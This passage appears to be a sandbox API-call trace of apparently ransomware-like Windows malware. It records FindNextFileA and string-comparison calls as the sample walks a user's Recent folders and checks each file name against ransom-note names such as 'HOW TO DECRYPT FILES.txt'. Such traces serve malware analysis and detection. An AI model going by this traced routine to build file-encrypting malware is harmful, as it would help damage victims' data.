FindNextFileA (in: hFindFile=0x5026d8, lpFindFileData=0x18f3b8 | out: lpFindFileData=0x18f3b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe22bfd60, ftCreationTime.dwHighDateTime=0x1d2fab5, ftLastAccessTime.dwLowDateTime=0xcbe116e0, ftLastAccessTime.dwHighDateTime=0x1d4d596, ftLastWriteTime.dwLowDateTime=0xcbe116e0, ftLastWriteTime.dwHighDateTime=0x1d4d596, nFileSizeHigh=0x0, nFileSizeLow=0x1f68, dwReserved0=0x0, dwReserved1=0x0, cFileName="590aee7bdd69b59b.customDestinations-ms", cAlternateFileName="590AEE~1.CUS")) returned 1 [0088.712] PeekMessageA (in: lpMsg=0x18f394, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f394) returned 0 [0088.712] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="590aee7bdd69b59b.customDestinations-ms") returned 1 [0088.712] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="590aee7bdd69b59b.customDestinations-ms") returned 1 [0088.712] lstrcmpiA (lpString1="", lpString2="590aee7bdd69b59b.customDestinations-ms") returned -1 [0088.712] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\CustomDestinations\\1b4dd67f29cb1962.customDestinations-ms") returned="1b4dd67f29cb1962.customDestinations-ms" [0088.712] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\CustomDestinations\\" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\CustomDestinations\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\CustomDestinations\\" [0088.712] PathAddBackslashA (in: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\CustomDestinations\\" | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\CustomDestinations\\") returned="" [0088.712] FindNextFileA (in: hFindFile=0x5026d8, lpFindFileData=0x18f3b8 | out: lpFindFileData=0x18f3b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d97bc0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2da822a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2daa8400, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x43a3, dwReserved0=0x690074, dwReserved1=0x6e006f, cFileName="5afe4de1b92fc382.customDestinations-ms", cAlternateFileName="5AFE4D~1.CUS")) returned 1 [0088.712] PeekMessageA (in: lpMsg=0x18f394, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f394) returned 0 [0088.713] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="5afe4de1b92fc382.customDestinations-ms") returned 1 [0088.713] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="5afe4de1b92fc382.customDestinations-ms") returned 1 [0088.713] lstrcmpiA (lpString1="", lpString2="5afe4de1b92fc382.customDestinations-ms") returned -1 [0088.713] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\CustomDestinations\\590aee7bdd69b59b.customDestinations-ms") returned="590aee7bdd69b59b.customDestinations-ms" [0088.713] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\CustomDestinations\\" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\CustomDestinations\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\CustomDestinations\\" [0088.713] PathAddBackslashA (in: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\CustomDestinations\\" | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\CustomDestinations\\") returned="" [0088.713] FindNextFileA (in: hFindFile=0x5026d8, lpFindFileData=0x18f3b8 | out: lpFindFileData=0x18f3b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x85096390, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x96ec4eb0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x96ec4eb0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x17d4, dwReserved0=0x690074, dwReserved1=0x6e006f, cFileName="5d696d521de238c3.customDestinations-ms", cAlternateFileName="5D696D~1.CUS")) returned 1 [0088.713] PeekMessageA (in: lpMsg=0x18f394, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f394) returned 0 [0088.713] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="5d696d521de238c3.customDestinations-ms") returned 1 [0088.714] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="5d696d521de238c3.customDestinations-ms") returned 1 [0088.714] lstrcmpiA (lpString1="", lpString2="5d696d521de238c3.customDestinations-ms") returned -1 [0088.714] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\CustomDestinations\\5afe4de1b92fc382.customDestinations-ms") returned="5afe4de1b92fc382.customDestinations-ms" [0088.714] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\CustomDestinations\\" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\CustomDestinations\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\CustomDestinations\\" [0088.714] PathAddBackslashA (in: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\CustomDestinations\\" | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\CustomDestinations\\") returned="" [0088.714] FindNextFileA (in: hFindFile=0x5026d8, lpFindFileData=0x18f3b8 | out: lpFindFileData=0x18f3b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d97bc0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2dc975e0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2dc975e0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x18, dwReserved0=0x690074, dwReserved1=0x6e006f, cFileName="7e4dca80246863e3.customDestinations-ms", cAlternateFileName="7E4DCA~1.CUS")) returned 1 [0088.714] PeekMessageA (in: lpMsg=0x18f394, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f394) returned 0 [0088.714] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="7e4dca80246863e3.customDestinations-ms") returned 1 [0088.715] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="7e4dca80246863e3.customDestinations-ms") returned 1 [0088.715] lstrcmpiA (lpString1="", lpString2="7e4dca80246863e3.customDestinations-ms") returned -1 [0088.715] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\CustomDestinations\\5d696d521de238c3.customDestinations-ms") returned="5d696d521de238c3.customDestinations-ms" [0088.715] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\CustomDestinations\\" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\CustomDestinations\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\CustomDestinations\\" [0088.715] PathAddBackslashA (in: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\CustomDestinations\\" | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\CustomDestinations\\") returned="" [0088.715] FindNextFileA (in: hFindFile=0x5026d8, lpFindFileData=0x18f3b8 | out: lpFindFileData=0x18f3b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5cb126c0, ftCreationTime.dwHighDateTime=0x1d2fad7, ftLastAccessTime.dwLowDateTime=0x5ddd1400, ftLastAccessTime.dwHighDateTime=0x1d2fad7, ftLastWriteTime.dwLowDateTime=0x5ddd1400, ftLastWriteTime.dwHighDateTime=0x1d2fad7, nFileSizeHigh=0x0, nFileSizeLow=0x23ff, dwReserved0=0x690074, dwReserved1=0x6e006f, cFileName="be71009ff8bb02a2.customDestinations-ms", cAlternateFileName="BE7100~1.CUS")) returned 1 [0088.715] PeekMessageA (in: lpMsg=0x18f394, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f394) returned 0 [0088.715] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="be71009ff8bb02a2.customDestinations-ms") returned 1 [0088.715] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="be71009ff8bb02a2.customDestinations-ms") returned 1 [0088.716] lstrcmpiA (lpString1="", lpString2="be71009ff8bb02a2.customDestinations-ms") returned -1 [0088.716] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\CustomDestinations\\7e4dca80246863e3.customDestinations-ms") returned="7e4dca80246863e3.customDestinations-ms" [0088.716] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\CustomDestinations\\" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\CustomDestinations\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\CustomDestinations\\" [0088.716] PathAddBackslashA (in: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\CustomDestinations\\" | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\CustomDestinations\\") returned="" [0088.716] FindNextFileA (in: hFindFile=0x5026d8, lpFindFileData=0x18f3b8 | out: lpFindFileData=0x18f3b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1a388960, ftCreationTime.dwHighDateTime=0x1d42023, ftLastAccessTime.dwLowDateTime=0xce5f0760, ftLastAccessTime.dwHighDateTime=0x1d4d596, ftLastWriteTime.dwLowDateTime=0xce5f0760, ftLastWriteTime.dwHighDateTime=0x1d4d596, nFileSizeHigh=0x0, nFileSizeLow=0x1f68, dwReserved0=0x690074, dwReserved1=0x6e006f, cFileName="d93f411851d7c929.customDestinations-ms", cAlternateFileName="D93F41~1.CUS")) returned 1 [0088.716] PeekMessageA (in: lpMsg=0x18f394, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f394) returned 0 [0088.716] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="d93f411851d7c929.customDestinations-ms") returned 1 [0088.716] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="d93f411851d7c929.customDestinations-ms") returned 1 [0088.716] lstrcmpiA (lpString1="", lpString2="d93f411851d7c929.customDestinations-ms") returned -1 [0088.716] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\CustomDestinations\\be71009ff8bb02a2.customDestinations-ms") returned="be71009ff8bb02a2.customDestinations-ms" [0088.717] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\CustomDestinations\\" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\CustomDestinations\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\CustomDestinations\\" [0088.717] PathAddBackslashA (in: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\CustomDestinations\\" | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\CustomDestinations\\") returned="" [0088.717] FindNextFileA (in: hFindFile=0x5026d8, lpFindFileData=0x18f3b8 | out: lpFindFileData=0x18f3b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1a388960, ftCreationTime.dwHighDateTime=0x1d42023, ftLastAccessTime.dwLowDateTime=0xce5f0760, ftLastAccessTime.dwHighDateTime=0x1d4d596, ftLastWriteTime.dwLowDateTime=0xce5f0760, ftLastWriteTime.dwHighDateTime=0x1d4d596, nFileSizeHigh=0x0, nFileSizeLow=0x1f68, dwReserved0=0x690074, dwReserved1=0x6e006f, cFileName="d93f411851d7c929.customDestinations-ms", cAlternateFileName="D93F41~1.CUS")) returned 0 [0088.717] FindClose (in: hFindFile=0x5026d8 | out: hFindFile=0x5026d8) returned 1 [0088.717] FindNextFileA (in: hFindFile=0x502698, lpFindFileData=0x18f508 | out: lpFindFileData=0x18f508*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe46e6440, ftCreationTime.dwHighDateTime=0x1d5e82a, ftLastAccessTime.dwLowDateTime=0xe46e6440, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0xe46e6440, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0x41f, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName="CvOJEXX41PJ5n2ixcSt.flv.lnk", cAlternateFileName="CVOJEX~1.LNK")) returned 1 [0088.717] PeekMessageA (in: lpMsg=0x18f4e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f4e4) returned 0 [0088.717] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="CvOJEXX41PJ5n2ixcSt.flv.lnk") returned 1 [0088.717] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="CvOJEXX41PJ5n2ixcSt.flv.lnk") returned 1 [0088.717] lstrcmpiA (lpString1="", lpString2="CvOJEXX41PJ5n2ixcSt.flv.lnk") returned -1 [0088.718] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\*.*") returned="*.*" [0088.718] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\" [0088.718] PathAddBackslashA (in: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\" | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\") returned="" [0088.718] FindNextFileA (in: hFindFile=0x502698, lpFindFileData=0x18f508 | out: lpFindFileData=0x18f508*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe312db80, ftCreationTime.dwHighDateTime=0x1d5e82a, ftLastAccessTime.dwLowDateTime=0xe312db80, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0xe312db80, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0xa16, dwReserved0=0x200054, dwReserved1=0x490046, cFileName="cwvoFZH.lnk", cAlternateFileName="")) returned 1 [0088.718] PeekMessageA (in: lpMsg=0x18f4e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f4e4) returned 0 [0088.718] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="cwvoFZH.lnk") returned 1 [0088.718] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="cwvoFZH.lnk") returned 1 [0088.718] lstrcmpiA (lpString1="", lpString2="cwvoFZH.lnk") returned -1 [0088.718] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\CvOJEXX41PJ5n2ixcSt.flv.lnk") returned="CvOJEXX41PJ5n2ixcSt.flv.lnk" [0088.718] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\" [0088.719] PathAddBackslashA (in: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\" | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\") returned="" [0088.719] FindNextFileA (in: hFindFile=0x502698, lpFindFileData=0x18f508 | out: lpFindFileData=0x18f508*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe1f9f940, ftCreationTime.dwHighDateTime=0x1d5e82a, ftLastAccessTime.dwLowDateTime=0xe1f9f940, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0xe1f9f940, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0x143d, dwReserved0=0x200054, dwReserved1=0x490046, cFileName="d9aYcb1KpxciR.lnk", cAlternateFileName="D9AYCB~1.LNK")) returned 1 [0088.719] PeekMessageA (in: lpMsg=0x18f4e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f4e4) returned 0 [0088.719] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="d9aYcb1KpxciR.lnk") returned 1 [0088.719] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="d9aYcb1KpxciR.lnk") returned 1 [0088.719] lstrcmpiA (lpString1="", lpString2="d9aYcb1KpxciR.lnk") returned -1 [0088.719] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\cwvoFZH.lnk") returned="cwvoFZH.lnk" [0088.719] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\" [0088.719] PathAddBackslashA (in: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\" | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\") returned="" [0088.720] FindNextFileA (in: hFindFile=0x502698, lpFindFileData=0x18f508 | out: lpFindFileData=0x18f508*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe5f98880, ftCreationTime.dwHighDateTime=0x1d5e82a, ftLastAccessTime.dwLowDateTime=0xe5f98880, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0xe5f98880, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0x3fc, dwReserved0=0x200054, dwReserved1=0x490046, cFileName="dB_yQMrzJ3xG.lnk", cAlternateFileName="DB_YQM~1.LNK")) returned 1 [0088.720] PeekMessageA (in: lpMsg=0x18f4e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f4e4) returned 0 [0088.720] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="dB_yQMrzJ3xG.lnk") returned 1 [0088.720] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="dB_yQMrzJ3xG.lnk") returned 1 [0088.720] lstrcmpiA (lpString1="", lpString2="dB_yQMrzJ3xG.lnk") returned -1 [0088.720] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\d9aYcb1KpxciR.lnk") returned="d9aYcb1KpxciR.lnk" [0088.720] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\" [0088.720] PathAddBackslashA (in: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\" | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\") returned="" [0088.720] FindNextFileA (in: hFindFile=0x502698, lpFindFileData=0x18f508 | out: lpFindFileData=0x18f508*(dwFileAttributes=0x6, ftCreationTime.dwLowDateTime=0x28d97bc0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d97bc0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d1e12e0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x1b0, dwReserved0=0x200054, dwReserved1=0x490046, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0088.720] PeekMessageA (in: lpMsg=0x18f4e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f4e4) returned 0 [0088.720] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="desktop.ini") returned 1 [0088.721] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="desktop.ini") returned 1 [0088.721] lstrcmpiA (lpString1="", lpString2="desktop.ini") returned -1 [0088.721] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\dB_yQMrzJ3xG.lnk") returned="dB_yQMrzJ3xG.lnk" [0088.721] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\" [0088.721] PathAddBackslashA (in: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\" | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\") returned="" [0088.721] FindNextFileA (in: hFindFile=0x502698, lpFindFileData=0x18f508 | out: lpFindFileData=0x18f508*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe35f0780, ftCreationTime.dwHighDateTime=0x1d5e82a, ftLastAccessTime.dwLowDateTime=0xe35f0780, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0xe35f0780, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0xf94, dwReserved0=0x200054, dwReserved1=0x490046, cFileName="DSOczaBdRn.lnk", cAlternateFileName="DSOCZA~1.LNK")) returned 1 [0088.721] PeekMessageA (in: lpMsg=0x18f4e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f4e4) returned 0 [0088.721] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="DSOczaBdRn.lnk") returned 1 [0088.721] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="DSOczaBdRn.lnk") returned 1 [0088.721] lstrcmpiA (lpString1="", lpString2="DSOczaBdRn.lnk") returned -1 [0088.721] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\desktop.ini") returned="desktop.ini" [0088.721] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\" [0088.722] PathAddBackslashA (in: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\" | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\") returned="" [0088.722] FindNextFileA (in: hFindFile=0x502698, lpFindFileData=0x18f508 | out: lpFindFileData=0x18f508*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe3d86da0, ftCreationTime.dwHighDateTime=0x1d5e82a, ftLastAccessTime.dwLowDateTime=0xe3d86da0, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0xe3d86da0, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0xa6e, dwReserved0=0x200054, dwReserved1=0x490046, cFileName="dVU2z0U1YLuvRtc.lnk", cAlternateFileName="DVU2Z0~1.LNK")) returned 1 [0088.722] PeekMessageA (in: lpMsg=0x18f4e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f4e4) returned 0 [0088.722] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="dVU2z0U1YLuvRtc.lnk") returned 1 [0088.722] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="dVU2z0U1YLuvRtc.lnk") returned 1 [0088.722] lstrcmpiA (lpString1="", lpString2="dVU2z0U1YLuvRtc.lnk") returned -1 [0088.722] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\DSOczaBdRn.lnk") 